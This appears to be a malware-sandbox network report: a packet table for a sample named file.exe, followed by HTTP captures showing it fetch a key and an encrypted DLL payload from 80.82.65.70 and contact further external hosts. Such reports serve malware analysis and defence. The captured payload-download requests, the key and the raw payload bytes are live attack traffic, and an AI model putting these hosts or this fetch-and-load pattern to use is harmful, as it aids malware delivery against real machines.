Dec 12, 2024 16:48:27.835175037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.835310936 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.835330963 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.835494995 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.836262941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.836307049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.836379051 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.837037086 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.837281942 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.837578058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.837707996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.837707996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.838387012 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.838480949 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.838495970 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.838536978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.839247942 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.839334965 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.839354992 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.839555025 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.840358973 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.840456009 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.840495110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.840598106 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.841372013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.841454029 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.841460943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.841559887 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.842366934 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.842502117 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.842540026 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.843336105 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.843379974 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.843502045 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.843518019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.843956947 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.844744921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.844856977 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.845129013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.845129013 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.845562935 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.845623970 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.845694065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.845694065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.846460104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.846565008 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.846651077 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.846781969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.847516060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.847564936 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.847714901 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.847930908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.848587990 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.848675966 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.848834038 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.848834038 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.849526882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.849658966 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.850461006 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.850461006 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.850555897 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.850616932 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.850636959 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.850816011 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.851670027 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.851752043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.851877928 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.852595091 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.852660894 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.852746964 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.852818012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.853661060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.853760004 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.853800058 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.853800058 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.854785919 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.854798079 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.855091095 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.855091095 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.855674982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.855817080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.856230974 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.856230974 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.856877089 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.856942892 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.857012987 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.857058048 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.857738018 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.857784033 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.857846022 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.857892036 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.858752012 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.858853102 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.858864069 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.859117985 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.859879971 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.859997988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.860285044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.860285044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.860796928 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.860841036 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.860924006 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.861010075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.861984015 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.862034082 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.862082005 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.862082005 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.863012075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.863053083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.863192081 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.863192081 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.863862038 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.863976955 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.863992929 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.864033937 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.864954948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.865096092 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.865104914 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.865207911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.865998983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.866053104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.866394043 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.866394043 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.866970062 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.867166996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.867176056 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.867235899 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.867980003 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.868118048 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.868170023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.868971109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.869056940 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.869086981 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.869287968 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.870059013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.870208979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.870414019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.870414019 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.871020079 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.871066093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.871100903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.871141911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.872080088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.872203112 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.010564089 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.010606050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.010742903 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.010907888 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.010982037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.010991096 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.011149883 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.011899948 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.011933088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.012005091 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.013019085 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.013079882 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.013135910 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.013135910 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.013912916 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.013972998 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.014120102 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.014198065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.014934063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.015070915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.015108109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.015219927 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.016051054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.016108036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.016243935 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.017185926 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.017241001 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.017396927 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.017463923 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.018064976 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.018131971 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.018307924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.018307924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.019222975 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.019335985 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.019344091 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.019407034 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.020678043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.020821095 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.021076918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.021689892 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.021704912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.021776915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.021776915 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:28.022572041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:28.023777962 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:30.715486050 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:30.715966940 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:58.613574982 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:49:04.172936916 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:04.172992945 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:04.173098087 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:04.188597918 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:04.188618898 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:05.832626104 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:05.832704067 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:05.887301922 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:05.887383938 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:05.887664080 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:05.887727022 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:05.890130997 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:05.931344986 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:06.512916088 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:06.512986898 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:06.512986898 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:06.513034105 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:06.515408993 CET	49987	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:06.515429020 CET	443	49987	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:06.632898092 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:06.632937908 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:06.633027077 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:06.633528948 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:06.633541107 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.094795942 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.095207930 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.129889965 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.129889965 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.129899025 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.129913092 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.822205067 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.822305918 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.822320938 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.822386026 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.822432995 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.822432995 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.842370033 CET	49990	443	192.168.2.11	188.119.66.185
Dec 12, 2024 16:49:08.842387915 CET	443	49990	188.119.66.185	192.168.2.11
Dec 12, 2024 16:49:08.843317986 CET	49991	2024	192.168.2.11	31.214.157.206
Dec 12, 2024 16:49:08.964257002 CET	2024	49991	31.214.157.206	192.168.2.11
Dec 12, 2024 16:49:08.964344978 CET	49991	2024	192.168.2.11	31.214.157.206
Dec 12, 2024 16:49:08.964466095 CET	49991	2024	192.168.2.11	31.214.157.206
Dec 12, 2024 16:49:09.084197044 CET	2024	49991	31.214.157.206	192.168.2.11
Dec 12, 2024 16:49:09.084312916 CET	49991	2024	192.168.2.11	31.214.157.206
Dec 12, 2024 16:49:09.204925060 CET	2024	49991	31.214.157.206	192.168.2.11
Dec 12, 2024 16:49:10.205938101 CET	2024	49991	31.214.157.206	192.168.2.11
Dec 12, 2024 16:49:10.254575014 CET	49991	2024	192.168.2.11	31.214.157.206

HTTP Request Dependency Graph

188.119.66.185

80.82.65.70

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49819	80.82.65.70	80	6784	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 16:47:58.288933992 CET	412	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:47:59.658291101 CET	204	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:47:59 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 Data Ascii: 1
Dec 12, 2024 16:47:59.677349091 CET	386	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:00.153918028 CET	224	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:47:59 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 12, 2024 16:48:00.176917076 CET	391	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 80.82.65.70 Connection: Keep-Alive Cache-Control: no-cache
Dec 12, 2024 16:48:00.743098974 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 15:48:00 GMT Server: Apache/2.4.58 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 12, 2024 16:48:00.743149996 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 12, 2024 16:48:00.743186951 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 12, 2024 16:48:00.743221045 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 12, 2024 16:48:00.743356943 CET	896	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 12, 2024 16:48:00.743521929 CET	1236	IN	Data Raw: e6 69 2d 49 51 f3 a4 d5 76 b0 82 cf 74 d1 85 19 f7 42 a9 78 eb 0b e9 01 32 e4 1d 91 61 e4 92 ad 68 8b f1 01 d1 83 62 ef 0e ea 87 d8 a0 66 e2 ec 6d df dc 97 39 57 94 e3 66 5a 2b 20 d1 43 cd 8a 07 04 20 9b 76 db 4c a6 9b 12 b9 0c 46 0b 2e ee 08 fc Data Ascii: i-IQvtBx2ahbfm9WfZ+ C vLF.CXb<SK(R?X.!:YjJD^J[,x)<"kp /uTW56"An*M%b"P{$T#/6UC{XQ;,>=
